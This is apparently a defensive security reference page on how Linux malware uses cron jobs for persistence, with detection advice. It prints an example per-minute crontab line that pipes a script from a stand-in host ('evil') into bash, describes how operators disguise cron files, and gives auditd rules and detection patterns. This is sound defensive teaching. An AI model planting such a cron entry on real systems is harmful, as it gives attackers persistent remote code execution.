Skip to content
Persistencebeginner

Cron Job Persistence

Malware adds a crontab entry or drops a file into a cron directory so the system re-launches its payload on a fixed schedule, surviving reboots on Linux.

Cron is the classic Unix job scheduler: a daemon that reads a set of tables describing commands and the times at which they should run. Because cron is present on virtually every Linux system, requires no compilation, and re-fires its jobs after every reboot, it is the first persistence mechanism most Linux malware and coin-miners reach for.

A cron entry is just a line of text mapping a five-field time specification to a shell command. Attackers either edit a user's personal crontab (no root needed) or, with elevated privileges, drop a file into one of the system-wide cron directories. Cryptominers in particular favour a short-interval job (* * * * *) that re-downloads and re-launches the miner if it was killed, turning cron into both persistence and a watchdog.

How it works

User crontabs live under the spool directory; system jobs live in /etc/ files and drop-in directories:

text
/var/spool/cron/crontabs/<user>     per-user tables (crontab -e)
/etc/crontab                        system table with a user field
/etc/cron.d/                        drop-in files, one job per file
/etc/cron.{hourly,daily,weekly}/    scripts run by run-parts

A malicious per-minute entry typically looks like:

text
* * * * * curl -fsSL hxxp://evil/m.sh | bash > /dev/null 2>&1

Entries in /etc/cron.d and /etc/crontab add a user column before the command, letting an attacker pin a job to root. Operators commonly hide the job by giving the drop-in file an innocuous name (0logrotate, apache2), piping output to /dev/null, and chaining a curl-to-shell one-liner so the payload itself never touches disk.

Detection & analysis

Static analysis:

  • Enumerate every cron source on a live or imaged host: /var/spool/cron/crontabs/*, /etc/crontab, /etc/cron.d/*, and the cron.{hourly,daily,weekly,monthly} directories. Diff against a known-good baseline; any curl/wget-to-shell, base64-decoded, or /tmp-resident command is high-signal.
  • Check file metadata: a cron file whose mtime clusters with other indicators dates the intrusion. A per-user crontab owned by a service account that should never schedule jobs is suspicious on its own.
  • In a captured script or binary, look for writes to the spool/cron paths above, calls to crontab, or run-parts directory names built as strings.

Dynamic analysis:

  • Run the sample under strace/auditd and watch for open/write to /var/spool/cron or /etc/cron.d, or an execve of crontab. Auditd is the cleanest source — add watches on the cron paths (see rule hint) to capture the writing process, UID, and command.
  • On a monitored host, crond spawning an unexpected child (a shell piping from curl, a process in /tmp) at a tight interval is the runtime tell.

Detection rule hint:

Add auditd watches such as -w /etc/cron.d -p wa -k cron_persist and equivalents for /var/spool/cron and /etc/crontab, then alert on any write by a non-package-manager process. Flag cron commands containing curl/wget piped to a shell, base64 decoding, or paths under /tmp, /dev/shm, or /var/tmp.

Votes

Comments(0)